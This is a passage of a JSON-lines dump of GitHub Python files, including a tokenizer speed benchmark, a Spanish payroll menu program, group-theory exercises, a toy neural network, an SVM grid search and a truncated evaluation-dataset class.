+-----------+\n | \"mini\" |\n +-----------+\n \"\"\"\n\n nsPathControlClass = NSPathControl\n nspathStyle = NSPathStyleStandard\n\n def __init__(self, posSize, url, editable=False, callback=None, sizeStyle=\"regular\"):\n self._setupView(self.nsPathControlClass, posSize, callback=callback)\n self._nsObject.setPathStyle_(self.nspathStyle)\n self._setSizeStyle(sizeStyle)\n self._nsObject.setURL_(url)\n self._nsObject.setBackgroundColor_(NSColor.clearColor())\n self._nsObject.setFocusRingType_(NSFocusRingTypeNone)\n\n\n#class PathControlBar(VanillaBaseControl):\n#\n# nsPathControlClass = NSPathControl\n# nspathStyle = NSPathStyleNavigationBar\n#\n# frameAdjustments = {\n# \"mini\": (-1, -2, 2, 2),\n# \"small\": (-5, -7, 10, 11),\n# \"regular\": (-6, -8, 12, 12),\n# }\n#\n# def __init__(self, posSize, title, callback=None, sizeStyle=\"regular\"):\n#\n#\n#class PathControlPopUp(VanillaBaseControl):\n#\n# nsPathControlClass = NSPathControl\n# nspathStyle = NSPathStylePopUp\n#\n# frameAdjustments = {\n# \"mini\": (-1, -2, 2, 2),\n# \"small\": (-5, -7, 10, 11),\n# \"regular\": (-6, -8, 12, 12),\n# }\n#\n# def __init__(self, posSize, title, callback=None, sizeStyle=\"regular\"):\n","repo_name":"charlesmchen/typefacet","sub_path":"dependencies/Vanilla/Lib/vanilla/vanillaPathControl.py","file_name":"vanillaPathControl.py","file_ext":"py","file_size_in_byte":2303,"program_lang":"python","lang":"en","doc_type":"code","stars":50,"dataset":"github-code","pt":"31"} +{"seq_id":"13687732197","text":"import blingfire\nimport nltk\nimport pysbd\nimport spacy\nimport stanza\n\nfrom syntok.tokenizer import Tokenizer\nimport syntok.segmenter as syntok_segmenter\n\npysbd_segmenter = pysbd.Segmenter(language=\"en\", clean=False, char_span=False)\n\nnlp = spacy.blank('en')\nnlp.add_pipe(nlp.create_pipe(\"sentencizer\"))\nnlp_dep = spacy.load('en_core_web_sm', disable=[\"ner\"])\n#stanza.download('en')\nstanza_nlp = stanza.Pipeline(lang='en', processors='tokenize')\n\nsyntok_tokenizer = Tokenizer()\n\ndef blingfire_tokenize(text):\n return blingfire.text_to_sentences(text).split('\\n')\n\ndef nltk_tokenize(text):\n return nltk.sent_tokenize(text)\n\ndef pysbd_tokenize(text):\n segments = pysbd_segmenter.segment(text)\n segments = [s.strip() for s in segments]\n return segments\n\ndef spacy_tokenize(text):\n return [sent.text.strip(\"\\n\") for sent in nlp(text).sents]\n\ndef spacy_dep_tokenize(text):\n return [sent.text.strip(\"\\n\") for sent in nlp_dep(text).sents]\n\ndef stanza_tokenize(text):\n return [e.text for e in stanza_nlp(text).sentences]\n\ndef make_sentences(segmented_tokens):\n for sentence in segmented_tokens:\n yield \"\".join(str(token) for token in sentence).strip()\n\ndef syntok_tokenize(text):\n tokens = syntok_tokenizer.split(text)\n result = syntok_segmenter.split(iter(tokens))\n segments = [sent for sent in make_sentences(result)]\n return segments\n\ndef speed_benchmark(big_text, tokenize_func):\n segments = tokenize_func(big_text)\n return segments\n\nif __name__ == \"__main__\":\n import time\n libraries = (\n blingfire_tokenize,\n nltk_tokenize,\n pysbd_tokenize,\n spacy_tokenize,\n spacy_dep_tokenize,\n stanza_tokenize,\n syntok_tokenize)\n\n for tokenize_func in libraries:\n t = time.time()\n # wget http://www.gutenberg.org/files/1661/1661-0.txt -P benchmarks/\n with open('benchmarks/1661-0.txt') as bigfile:\n big_text = bigfile.read()\n sentences = speed_benchmark(big_text, tokenize_func)\n\n time_taken = time.time() - t\n print()\n print(tokenize_func.__name__)\n print('Speed : {:>20.2f} ms'.format(time_taken * 1000))\n","repo_name":"nipunsadvilkar/pySBD","sub_path":"benchmarks/bigtext_speed_benchmark.py","file_name":"bigtext_speed_benchmark.py","file_ext":"py","file_size_in_byte":2167,"program_lang":"python","lang":"en","doc_type":"code","stars":677,"dataset":"github-code","pt":"31"} +{"seq_id":"8615965851","text":"\"\"\"ENUNCIADO\nLa empresa ACME desea que le construya un programa para gestionar la nómina de sus empleados. Después\nde recoger los requerimientos se llegó a la decisión de gestionar los empleados y sus nóminas a través del\nsiguiente menú.\n\n*** NOMINA ACME ***\nMENU\n1- Agregar empleado\n2- Modificar empleado\n3- Buscar empleado\n4- Eliminar empleado\n5- Listar empleados\n6- Listar nómina de un empleado\n7- Listar nómina de todos los empleados\n8- Salir\n>> Escoja una opción (1-8)?\n\n1. Agregar empleado: Esta opción permite adicionar un empleado con su id, nombre, horas trabajadas y\nvalor de la hora. Los empleados pueden trabajar entre 1 a 160 Horas. Y el valor de la hora puede estar\nentre $8,000 y $150,000 pesos la hora.\n2. Modificar empleado: Esta opción permite cambiar cualquiera de los datos del empleado, menos el id de\nempleado.\n3. Buscar empleado: Esta opción permite buscar un empleado por su id, si lo encuentra, muestra la\ninformación de este y si no, muestra un mensaje de que el empleado no ha sido ingresado\n4. Eliminar empleado: Esta opción permite eliminar a un empleado por su id. Si borra al empleado, muestra\nun mensaje que ha sido eliminado y si no, muestra un mensaje de que no se eliminó el empleado.\n5. Listar Empleados: Esta opción permite mostrar los empleados con su información (id, nombre, horas y\nvalor de la hora trabajada), debe permitir paginación, esto es, se muestran los primeros 5 empleados,\nluego para y muestra un mensaje para que el usuario decida si desea seguir viendo o volver al menú. Si\ndesea seguir viendo, le muestra los siguientes 5 empleados y así sucesivamente hasta que no haya más\nempleados o la persona no desee seguir viendo.\n6. Listar la nómina de un empleado: Esta opción permite mostrar la nómina de un empleado buscado por\nsu ID. El salario bruto se calcula como el valor de la hora por la cantidad de horas trabajadas. Si gana\nmenos del salario mínimo legal vigente en Colombia 2023 (por favor consulte el dato) se le debe da\nsubsidio de transporte. Se le debe descontar el valor de la eps y pensión correspondiente al 4% cada uno\ny el salario Neto es la suma del salario bruto, el auxilio menos los descuentos.\nEl menú debe mostrar los datos del empleado y los datos de la nómina.\n7. Listar nómina de todos los empleados: Esta opción permite mostrar la nómina de todos los empleados.\nEl listado debe estar paginado cada 5 empleados. El calculo de la nómina de cada empleado es el mismo\nque en la opción 6.\n8. Salir: Esta opción sale del programa, pero antes le pregunta al usuario si desea salir de la aplicación.\nSino no desea, vuelve al menú. Si desea salir de la aplicación muestra un mensaje de despedida y termina\nel programa.\"\"\"\n\ndef leerInt(msg):\n while True:\n try:\n n=int(input(msg))\n return n\n except ValueError:\n print(\"Ingrese un número\")\n\ndef leerIntm(msg):\n while True:\n try:\n n=int(input(msg))\n return n\n except ValueError:\n print=(\"Invalido ingrese un número Valido\")\n\ndef leerString(msg):\n while True:\n try:\n n= input(msg)\n if n.strip() == \"\":\n print(\"Error!! ingrese un nombre valido.\")\n continue\n return n\n except Exception as e:\n print(\"Error! . Ingrese una letra valida.\", e.message)\n\ndef leerIntVa(msg):\n while True:\n try:\n n=int(input(msg))\n if n<8000 or n>150000:\n print(\"Error!!! Ingrese un valor correcto en el rango de 8.000 a 150.000: \\n \")\n continue\n return n\n except ValueError:\n print(\"Ingrese un número\")\n\ndef leerIntHo(msg):\n while True:\n try:\n n=int(input(msg))\n if n<1 or n>160:\n print(\"Error!!! Ingrese una hora correcta en el rango de 1 a 160: \\n \")\n continue\n return n\n except ValueError:\n print(\"Ingrese un número\")\n\ndef msgError(msg):\n print(\" ----> ¡ERROR!\" + msg)\n input(\"----> Presione la tecla Enter para continuar .....\")\n\ndef leerIntMod(msg):\n while True:\n try:\n n=int(input(msg))\n if n<1 or n>3:\n print(\"Error!!! Ingrese una opcion correcta: \\n \")\n continue\n return n\n except ValueError:\n print(\"Ingrese un número\")\n \n\n\ndef menu():\n print(\"-\"*40)\n print(\"Bienvenido al Sofware de Nomina acontinuacion presentamos las opciones:\\n MENU\")\n print(\"-\"*40)\n print(\"1.Agrega empleado\")\n print(\"2.Modificar empleado\")\n print(\"3.Buscar empleado\")\n print(\"4.Eliminar empleado\")\n print(\"5.Listar empleado\")\n print(\"6.Listar nomina\")\n print(\"7.Listar nomina de todos los empleados\")\n print(\"8.Salir\")\n print(\"-\"*40)\n opcion= leerInt(\"Ingrese una opcion de acuerdo a lo que desea realizar: \")\n if opcion<1 or opcion>8:\n msgError(\"OPCION NO VALIDA\")\n return opcion\n\nnomina={}\n\ndef addEmpleado():\n while True:\n idd= int(input(\"Ingrese el documento del empleado: \"))\n name= leerString(\"Ingrese el nombre del empleado: \")\n horas= leerIntHo(\"Ingrese la cantidad de horas trabajadas: \")\n valor=leerIntVa(\"Ingrese el valor de la hora: \")\n nomina[idd]={}\n nomina[idd][\"nombre\"]=name\n nomina[idd][\"horas\"]=horas\n nomina[idd][\"valor\"]=valor\n\n opcion= int(input(\"Desea ingresar otro Empleado? \\n 1.SI \\n 2.NO \"))\n if opcion==2:\n break\n\ndef modEmpleado():\n while True:\n busqidd= int(input(\"Ingrese el documento que desea modificar\"))\n if busqidd in nomina.keys():\n print(\"Se encontro el usuario \")\n break \n else:\n print(\"Usuario no encontrado: \")\n\n \n print(\" Que deseas modificar? \\n 1. Nombre \\n 2.Horas trabajadas \\n 3.Valor de la hora \")\n\n op= leerIntMod(\"\\n Ingrese una opcion\")\n if op==1:\n newNombre=input(\"Ingrese el nuevo nombre: \")\n nomina[busqidd][\"nombre\"]= newNombre\n print(\"El cambio de nombre fue exitoso\")\n elif op==2:\n newHoras= int(input(\"Ingrese las nuevas horas: \"))\n nomina [busqidd] [\"horas\"]= newHoras\n print(\"Las horas fueron modificadas con exito\")\n elif op==3:\n newValor= int(input(\"Ingrese el nuevo valor: \"))\n nomina[busqidd][\"valor\"]= newValor\n print(\"El valor fue modificado\")\n input(\"Presione cualquier tecla para volver al menu\")\n\ndef busEmpleado():\n while True:\n busqidd= int(input(\"Ingrese el documento que desea consultar\"))\n if busqidd in nomina.keys():\n print(\"Se encontro el usuario \")\n print(nomina[busqidd])\n break \n else:\n print(\"Usuario no encontrado, El empleado no ha sido ingresado: \")\n\ndef delEmpleado():\n while True:\n busqidd= int(input(\"Ingrese el documento que desea modificar\"))\n if busqidd in nomina.keys():\n nomina.pop(busqidd)\n print(\"Usuario eliminado correctamente \")\n break \n else:\n print(\"Usuario no encontrado: \")\n\ndef listEmpleado():\n k=0\n for k in nomina.keys():\n print(f\"{nomina[k]['nombre']}, {k} , {nomina[k]['horas']}, {nomina[k]['valor']}\")\n if k==4:\n print(\"\\n 1.Desea seguir consultado? .\\n 2. Salir, No desea consultar mas\")\n while True:\n op= leerIntm(\"\\n Ingrese una opcion\")\n if op ==1 or op == 2:\n if op==1:\n continue\n else:\n break\n\ndef listNom():\n while True:\n busqidd= int(input(\"Ingrese el documento que desea calcular\"))\n if busqidd in nomina.keys():\n if busqidd in nomina.keys():\n hora=nomina[busqidd][\"horas\"]\n valor=nomina[busqidd][\"valor\"]\n salarioBruto= hora*valor\n eps=salarioBruto*0.04\n pension=salarioBruto*0.04\n \n auxTrasnporte=140600\n if salarioBruto<1160000:\n salarioTotal= salarioBruto-eps-pension+auxTrasnporte\n print(f\"{nomina[busqidd]['nombre']}, {busqidd} , {nomina[busqidd]['horas']}, {nomina[busqidd]['valor']} \", salarioTotal)\n else:\n salarioTotal=salarioBruto-eps-pension\n print(f\"{nomina[busqidd]['nombre']}, {busqidd} , {nomina[busqidd]['horas']}, {nomina[busqidd]['valor']} \", salarioTotal)\n break \n else:\n print(\"Usuario no encontrado: \")\n \n\n\ndef listAllNom():\n k=0\n for k in nomina.keys():\n hora=nomina[k][\"horas\"]\n valor=nomina[k][\"valor\"]\n salarioBruto= hora*valor\n eps=salarioBruto*0.04\n pension=salarioBruto*0.04 \n auxTrasnporte=140600\n if salarioBruto<1160000:\n salarioTotal= salarioBruto-eps-pension+auxTrasnporte\n print(f\"{nomina[k]['nombre']}, {k} , {nomina[k]['horas']}, {nomina[k]['valor']} \", salarioTotal)\n else:\n salarioTotal=salarioBruto-eps-pension\n print(f\"{nomina[k]['nombre']}, {k} , {nomina[k]['horas']}, {nomina[k]['valor']} \", salarioTotal)\n if k==4:\n print(\"\\n 1.Desea seguir consultado? .\\n 2. Salir, No desea consultar mas\")\n while True:\n op= leerIntm(\"\\n Ingrese una opcion\")\n if op ==1 or op == 2:\n if op==1:\n continue\n else:\n break\n\n\n\n#MENU\nwhile True:\n opcion= menu()\n if opcion==1:\n addEmpleado()\n\n elif opcion==2:\n modEmpleado()\n\n elif opcion==3:\n busEmpleado()\n \n elif opcion==4:\n delEmpleado()\n \n elif opcion==5:\n listEmpleado()\n \n elif opcion==6:\n listNom()\n \n elif opcion==7:\n listAllNom()\n \n elif opcion==8:\n print(\" Gracias por utilizar nuestro Sofware Nomina\")\n break\n else:\n msgError(\"Opcion Invalida. \")\n\nprint(nomina)\n\n\n\n \n\n\n\n","repo_name":"Jepess008/Jepess-Campus","sub_path":"MODULO 1 Phyton/sofware review/mio.py","file_name":"mio.py","file_ext":"py","file_size_in_byte":10168,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"6749342568","text":"def square(num):\n return num * num\n\ndef convertTemp(temp, scale):\n if scale == \"C\":\n return (temp - 32.0) * (5.0/9.0)\n elif scale == \"F\":\n return temp * 9.0/5.0 + 32\n\n \nnumber = 12\nprint(square(number))\n\n\ntemp = input(\"Enter a temperature: \")\nscale = input(\"Enter the scale to convert to: \")\n\nconverted = convertTemp(temp, scale)\n\nprint(\"The converted temp is: \" + str(converted))\n\n\ndef onePerLine(str):\n for i in str:\n print(i)\n\nword = input(\"Enter a phrase: \")\nonePerLine(word)","repo_name":"cesaroll/PythonIntro","sub_path":"S2/function.py","file_name":"function.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"41246297908","text":"#Evan Walker\r\n\r\nG = [[2,0,1],\r\n [0,1,2],\r\n [1,2,0]] #should be a group\r\nZ = [[0,1,2,3,4,5],\r\n [1,2,0,5,3,4],\r\n [2,0,1,4,5,3],\r\n [3,5,4,0,1,2],\r\n [4,3,5,2,0,1],\r\n [5,4,3,1,2,0]] #should not be a group due to associativity (3*1)*3 != 3*(1*3)\r\nX = [[0,1,2,3,4],\r\n [1,2,3,4,0],\r\n [2,3,4,0,1],\r\n [3,4,0,1,2],\r\n [4,0,1,2,3]] #should be a group\r\nY = [[2,0,1,3],\r\n [0,1,2,3],\r\n [1,2,3,0],\r\n [3,3,0,2]] #should return not a group because the element 3 appears twice in a row and in a col, which means inverses are not unique and therefore not a group\r\nX2 = [[1,1,2,3,4],\r\n [1,2,3,4,0],\r\n [2,3,4,0,1],\r\n [3,4,0,1,2],\r\n [4,0,1,2,3]] #should be not be a group because of inverse and idnetity\r\nK = [[0,1,2,3],\r\n [1,0,3,2],\r\n [2,3,0,1],\r\n [3,2,1,0]] #should be a group\r\nH = [0,1,2]\r\nL = [0,1]\r\nM = [[1,2,3,4],\r\n [2,4,1,3],\r\n [3,1,4,2],\r\n [4,3,2,1]]\r\n\r\n#example of two dimm array and small method\r\ndef is_commutative(G):\r\n n = len(G)\r\n return all(G[x][y] == G[y][x] for x in range(n) for y in range(n))\r\n\r\n\r\n\r\n\r\n\r\ndef create_Zgroup(m): # m is the modulus\r\n G = []\r\n for n in range(m):\r\n G.append(n%m)\r\n #print(G)\r\n return G\r\n\r\nF = create_Zgroup(172)\r\n#M = create_Zgroup(39)\r\n\r\ndef create_Zsubgroup(G,n,m): # n is the elemnt to generate subgroup, m is the modulus\r\n S = []\r\n for z in range(len(G)):\r\n if((n*z)%m not in S):\r\n S.append((n*z)%m)\r\n print(\"<\",n,\"> =\",S)\r\n print()\r\n #if(S != G and len(S) != 1):\r\n # print()\r\n #print(S)\r\n return S\r\n\r\n\r\n#create_Zsubgroup(M,3,39)\r\ndef find_sizesmallsubgroup(G,n,m,z): #n,m are elements that should be in subgroup, z is the modulu\r\n L = []\r\n x = 1\r\n while x <= len(G):\r\n S = create_Zsubgroup(G,x,z)\r\n print(S)\r\n print()\r\n if(n in S and m in S):\r\n L.append(len(S)) # needs to be smaller than every other length of S, so it is incorrect until it can compare each value\r\n x = x + 1\r\n \"\"\"z = 1\r\n while z != 0:\r\n for y in range(len(L)):\r\n if(L[y] < L[0]):\r\n a = L[0]\r\n L[0] = L[y]\r\n L[y] = L[0]\r\n for x in range(len(L)):\r\n if()\"\"\"\r\n\r\ndef find_othersubgroup(G,n,m): # n is the element which generates a subgroup and m is the modulus\r\n S = create_Zsubgroup(G,n,m)\r\n for x in range(len(G)):\r\n if(x != n):\r\n V = create_Zsubgroup(G,x,m)\r\n if(V == S):\r\n print(x)\r\n print()\r\n \r\ndef find_Zorder(n,m): #n = element, m is the modulus\r\n x = 1\r\n while x <= m:\r\n if((n*x)%m == 0):\r\n return x\r\n x = x + 1\r\n\r\n\r\n\r\ndef find_Uorder(n,m): #n = element, m is the modulus\r\n x = 1\r\n while x <= m:\r\n if((n**x)%m == 1):\r\n print(\"element \" , n, \" has order \" , x)\r\n return x;\r\n x = x + 1\r\ndef find_allorder(n,m):\r\n x=n\r\n while x < m:\r\n #if(find_Zorder(x,m) == m):\r\n print(\"element \" , x, \" has order \" , find_Zorder(x,m))\r\n x=x+1\r\ndef printall_subgroups(G,m):\r\n for x in range(len(G)):\r\n create_Zsubgroup(G,x,m)\r\n\r\n#find_allorder(0,22)\r\n#printall_subgroups(F,77)\r\n#find_Uorder(9,10)\r\n#find_Uorder(38,81)\r\n#find_Uorder(49,81)\r\n#find_othersubgroup(M,1,77)\r\n \r\n#print(find_sizesmallsubgroup(F,116,112,172))\r\n#print(find_sizesmallsubgroup(M,2,4,5))\r\n\r\n\r\n\r\n\r\n\r\n\r\ndef print_group(G): #for neatness and readability in the print\r\n n = len(G)\r\n print(\"(Maybe)Group = \")\r\n for x in range(n):\r\n for y in range(n):\r\n print(G[x][y], end=\" \")\r\n print()\r\n print()\r\n\r\n#part a)\r\ndef is_group(G):\r\n print(\"___________________________________GROUP TEST___________________________________\")\r\n print_group(G)\r\n e = find_identity(G)\r\n if(e == None):\r\n print(\"This is not a group because it has no identity\")\r\n print()\r\n return False\r\n print(\"Group Identity e = \", e)\r\n if(check_inverses(G,e) and is_associative(G)):\r\n print(\"This is a Group\")\r\n print()\r\n return True\r\n else:\r\n print(\"This is not a group\")\r\n print()\r\n return False\r\n \r\n \r\n \r\ndef find_identity(G):\r\n n = len(G)\r\n m = 0\r\n for x in range(n):\r\n for y in range(n):\r\n if (G[x][y] == y and G[y][x] == y):\r\n print(\"x = \", x)\r\n print(\"y = \", y)\r\n m = m + 1\r\n else:\r\n m = 0\r\n if (m == n):\r\n return x\r\n return None\r\n\r\ndef check_inverses(G,e):\r\n n = len(G)\r\n count = 0\r\n for x in range(n):\r\n for y in range(n):\r\n if (G[x][y] == e and G[y][x] == e):\r\n print(x , \" is an inverse of \" , y)\r\n count = count + 1\r\n if(count == n): #there must be an identity element in each row/col because every inverse element is unique, therefore the # of inverses found(count) must equal the # of rows/cols\r\n print(\"all elements have inverses\")\r\n return True\r\n else:\r\n print(\"not all elements have inverses\")\r\n return False\r\n \r\ndef is_associative(G):\r\n n = len(G)\r\n for x in range(n):\r\n for y in range(n):\r\n for z in range(n):\r\n if(G[G[x][y]][z] != G[x][G[y][z]]):\r\n print(\"This group is not associative because\")\r\n print( \"(\",x,\"op\",y,\")op\",z,\" != \",x,\"op(\",y,\"op\",z,\")\")\r\n print(\"where op is the operation under the group\")\r\n return False\r\n print(\"This group is associative\")\r\n return True\r\n\r\n#part b)\r\ndef is_subgroup(H,G):\r\n print(\"_________________________________SUBGROUP TEST________________________________\")\r\n \r\n n = len(G)\r\n m = len(H)\r\n if(is_group(G) == False):\r\n print(\"This is not a group in the first place, therefore the subgroup is not a subgroup\")\r\n return False\r\n print(\"(Maybe)Subgroup = \")\r\n print(H)\r\n e = has_identity(H,G)\r\n if(m > n):\r\n print(\"the sugroup is larger than the group itself and therefore is not a subgroup\")\r\n return False\r\n if(e == None):\r\n print(\"H has no identity, therefore is not a group in the first place\")\r\n return False\r\n if(is_closed(H,G) == False):\r\n print(\"H is not a subgroup because of closure\")\r\n return False\r\n if(has_inverses(H,G,e) == False):\r\n print(\"not every element has an inverse, therefore not a subgroup\")\r\n return False\r\n print(\"This is a subgroup, lucky you\")\r\n print()\r\n return True\r\n \r\ndef has_identity(H,G):\r\n n = len(H)\r\n count = 0\r\n for x in range(n):\r\n for y in range(n):\r\n if (G[H[x]][H[y]] == H[y] and G[H[y]][H[x]] == H[y]):\r\n count = count + 1\r\n else:\r\n count = 0\r\n if (count == n):\r\n print(\"Subgroup Identity e = \", H[x])\r\n return H[x]\r\n return None\r\n\r\ndef is_closed(H,G):\r\n n = len(H)\r\n count = 0\r\n for x in range(n):\r\n for y in range(n):\r\n for z in range(n):\r\n if(G[H[x]][H[y]] not in H): # checking closure of H\r\n return False\r\n print(\"the subgroup is closed under the operation\")\r\n return True\r\n\r\ndef has_inverses(H,G,e):\r\n n = len(H)\r\n count = 0\r\n for x in range(n):\r\n for y in range(n):\r\n if (G[H[x]][H[y]] == e and G[H[y]][H[x]] == e):\r\n print(H[x] , \" is an inverse of \" , H[y])\r\n count = count + 1\r\n if(count == n):\r\n print(\"every element has an inverse\")\r\n return True\r\n else:\r\n return False\r\n \r\n \r\nis_group(M)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n","repo_name":"Ewalk21/Group_Theory_Code","sub_path":"Computational Group Theory.py","file_name":"Computational Group Theory.py","file_ext":"py","file_size_in_byte":7832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33086745034","text":"from fastapi import APIRouter, Form, Request\n\nfrom modcom.ml import predict_comment\nfrom modcom.models import ClassificationResponse\n\napi_router = APIRouter()\n\n\n@api_router.get(\"/hello\", tags=[\"test\"])\nasync def hello_there():\n return {\"msg\": \"Hello there\"}\n\n\n@api_router.get(\"/hello/{name}\", tags=[\"test\"])\nasync def hello_user(name: str):\n return {\"msg\": f\"Hello {name}\"}\n\n\n@api_router.post(\"/ml\", tags=[\"form\"], response_model=ClassificationResponse)\nasync def ml_dodo(req: Request, comment: str = Form(...), model: str = Form(...)):\n return predict_comment(comment, model)\n","repo_name":"volf52/r-science-comment-mod","sub_path":"modcom/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"167498992","text":"import numpy as np\n\n\ndef sigmoid(x): #used by feedforward function\n return 1.0 / (1 + np.exp(-x))\ndef sigmoid_derivative(x): # used for back prop\n return x * (1.0 - x)\n\n\nclass NeuralNetwork: #outputs are only affected by weights and biases\n def __init__(self,x,y):\n self.input = x\n ## next we initalize weights as random NumPy Arrays\n self.weights1 = np.random.rand(self.input.shape[1],4) #self.input.shape[1] is a variable array (creates one depending on size of input)\n self.weights2 = np.random.rand(4,1)\n self.y = y\n self.output = np.zeros(self.y.shape)\n\n def feedforward(self): #feedforward that calculates predicted output\n self.layer1 = sigmoid(np.dot(self.input, self.weights1))\n # we use sigmoid (activation function) to squash the values between\n # 0 and 1 because that is the desired range for predictions\n self.output = sigmoid(np.dot(self.layer1,self.weights2))\n\n # next we need a loss function to measure accuracy\n # our goal is to find the best set of weights and biases that minimize loss function\n # BACKPROPAGATION\n # After measuring the error of our prediction aka loss\n # we must find a way to propagate the error back and updadte weights and biases\n # In order to know the approiate amount to adjust weights and biases, we need\n # to know the derivate of the loss function with respect to our biases and weights\n # if we have the derivative we can update the weights and biases by increasing\n # or reducing with it. This is known as gradient descent\n\n def backprop(self): #loss function with respect to weights2 and weights1\n d_weights2 = np.dot(self.layer1.T, (2*(self.y - self.output)*\n sigmoid_derivative(self.output)))\n d_weights1 = np.dot(self.layer1.T, (2 * (self.y - self.output) *\n sigmoid_derivative(self.output),\n self.weights2.T)*sigmoid_derivative(self.layer1))\n self.weights1 += d_weights1\n self.weights2 += d_weights2\n\n\nif __name__ == \"_main_\":\n X = np.array([[0,0,1],\n [0,1,1],\n [1,0,1],\n [1,1,1]])\n y = np.array([[0],[1],[0]])\n nn = NeuralNetwork(X,y)\n for i in range(1500):\n nn.feedforward()\n nn.backprop()\n print(nn.output)\n \n\n### WORKING WITH DATASETS\nimport pandas as pd\n\n# df = pd.read_csv(\"name of file.csv\") #imports as a DataFrame\n# print(df.info()) #gives insight into num of cols & rows along with names of cols\n# print(df.describe()) #gives mean, std, mind, max, 25%, etc\n# print(df.head(10)) #outputs the first 10 rows of data\n## you can also specify specifc constraints to only print certain rows/cols\n#Ex: df2 - df.loc[df['sepal_length'] > 5.0, ] selects rows with speal greater than 5\n# loc allows access to a group of rows and cols\n\n\n\n\n\n\n\n\n\n\n","repo_name":"aabdelgalill/MLProjects","sub_path":"booksbasics.py","file_name":"booksbasics.py","file_ext":"py","file_size_in_byte":2988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12987826395","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Sep 8 17:16:18 2020\r\n@author: Cleiton Moya de Almeida\r\n\r\n\"\"\"\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom sklearn import svm\r\nfrom sklearn.model_selection import KFold, GridSearchCV\r\nfrom sklearn.preprocessing import MinMaxScaler\r\n\r\n# Experiment parameters\r\nkernel = 'sigmoid'\r\nK = 2 # k-fold parameter\r\ntest_size = 0.3\r\n\r\n# Dataset reading\r\ndf = pd.read_table('banana.dat', skiprows=7, sep=',', names=['x1', 'x2', 'y'])\r\ndf = df.astype({'y': 'int32'})\r\nX = df[['x1', 'x2']].to_numpy()\r\ny = df.y.to_numpy()\r\n\r\n# Data preprocessing\r\n#min_max_scaler = MinMaxScaler()\r\n#X = min_max_scaler.fit_transform(X) \r\n\r\n# Hyper-parameters range definition\r\n#C_range = [0.01, 0.1, 1]\r\nC_range = np.logspace(-3,3,7)\r\n#C_range = np.logspace(-2,2,5)\r\n\r\n#gamma_range = [0.01, 0.1, 1]\r\ngamma_range = np.logspace(-3,3,7)\r\n#gamma_range = np.logspace(-2,1,4)\r\n\r\n#degree_range = [2, 3, 5]\r\ncoef0_range=[0, 0.5, 1]\r\n\r\n#param_grid = [dict(C=C_range, gamma=gamma_range, degree=degree_range, coef0=coef0_range)]\r\nparam_grid = [dict(C=C_range, gamma=gamma_range, coef0=coef0_range)]\r\n#param_grid = [dict(C=C_range, gamma=gamma_range)]\r\n\r\n# Cross-validation\r\ncv = KFold(n_splits=K)\r\ngrid = GridSearchCV(svm.SVC(kernel=kernel,cache_size=1000), param_grid=param_grid, cv=cv, n_jobs=-1,verbose=10)\r\ngrid.fit(X,y)\r\nbest_std_score = grid.cv_results_['std_test_score'][grid.best_index_]\r\n\r\n# Results:\r\nprint(\"Best parameters: %s \\nAccuracy: %0.3f \\u00B1 %0.3f\"\r\n % (grid.best_params_, grid.best_score_, best_std_score))","repo_name":"cleitonmoya/CPS849_Trabalho","sub_path":"exp1_svm_cv.py","file_name":"exp1_svm_cv.py","file_ext":"py","file_size_in_byte":1544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73607581529","text":"import dataset\nimport train\n\nimport transformers\nimport numpy as np\nimport torch\nimport pytorch_lightning as pl\nfrom randw import words\nfrom tqdm.auto import tqdm\n\nimport importlib\nimport csv\nfrom collections import Counter, defaultdict\nimport argparse\nimport os\nimport json\nfrom time import time\nimport random\nimport logging\n\ntorch.manual_seed(42)\npl.seed_everything(42)\nnp.random.seed(int(time()%1e5))\nrandom.seed(int(time()%1e5))\n\nclass EvalDataset(torch.utils.data.Dataset): # similar to dataset.ReadDataset\n def __init__(self, dataset='../../pycharm/data/wiki.json', maxtoks=30, maxlen=150, minlen=15, numlen=2, range_=(1e-4,1e+6), sample=None, tok='bert-base-uncased', offset=0,typ='json', numtok='def', filter_range=True, valid_idxs=[], debug=False):\n self.tokenizer, self.mask_token = self._get_tokenizer(tok)\n self.mask_token = '[NUM]'\n self.tokenizer.add_special_tokens({'additional_special_tokens':[\"[NUM]\"]})\n self.numlen = numlen\n self.numtok = numtok\n if '600' in dataset:\n add1 = 1\n add_ = ' '\n else:\n add1 = 0\n add_ = ''\n raw = json.load(open(dataset))[:sample]\n temp = []\n for row in raw:\n if (range_[1] > float(row['number'])> range_[0]) and (maxlen > len(row['comment']) > minlen):\n temp.append(row)\n raw = temp\n \n if self.numtok == 'def':\n _number_encoder = self.get_string\n elif self.numtok in ['val','lval','bin','lbin','num']: # keep numbers, numpos, replace by mask.\n _number_encoder = lambda x: self.mask_token + ' '\n elif self.numtok == 'none':\n _number_encoder = lambda x: '' # remove numbers entirely\n \n texts = []\n for r in raw:\n _number_encoded = _number_encoder(float(r['number']))\n texts.append((r['comment'][:r['offset']] + _number_encoded + add_ + r['comment'][r['offset'] + add1 + r['length']:]).replace(\" \",\" \").replace(\" \",\" \"))\n \n encs = self.tokenizer.batch_encode_plus(texts, padding='max_length', \n truncation=True, max_length=maxtoks)\n self.data = []\n print(\"raw:\",len(raw))\n print(\"valids:\",len(valid_idxs))\n if not debug:\n tqdm = lambda x: x\n for j,(text,row) in tqdm(enumerate(zip(texts, raw))):\n if row['id'] not in valid_idxs:\n continue\n if self.numtok == 'none':\n numpos = 0\n else:\n numpos = encs.char_to_token(j, row['offset'])\n if not numpos or numpos == -1: # None if space / out of range\n continue\n NUM = float(row['number'])\n if self.numtok in ['val','lval','lbin']:\n if encs['input_ids'][j].index(30522) != numpos:\n continue\n \n # now masking one token at a time\n might_be_num = True\n i = encs['input_ids'][j]\n p = numpos\n if self.numtok in 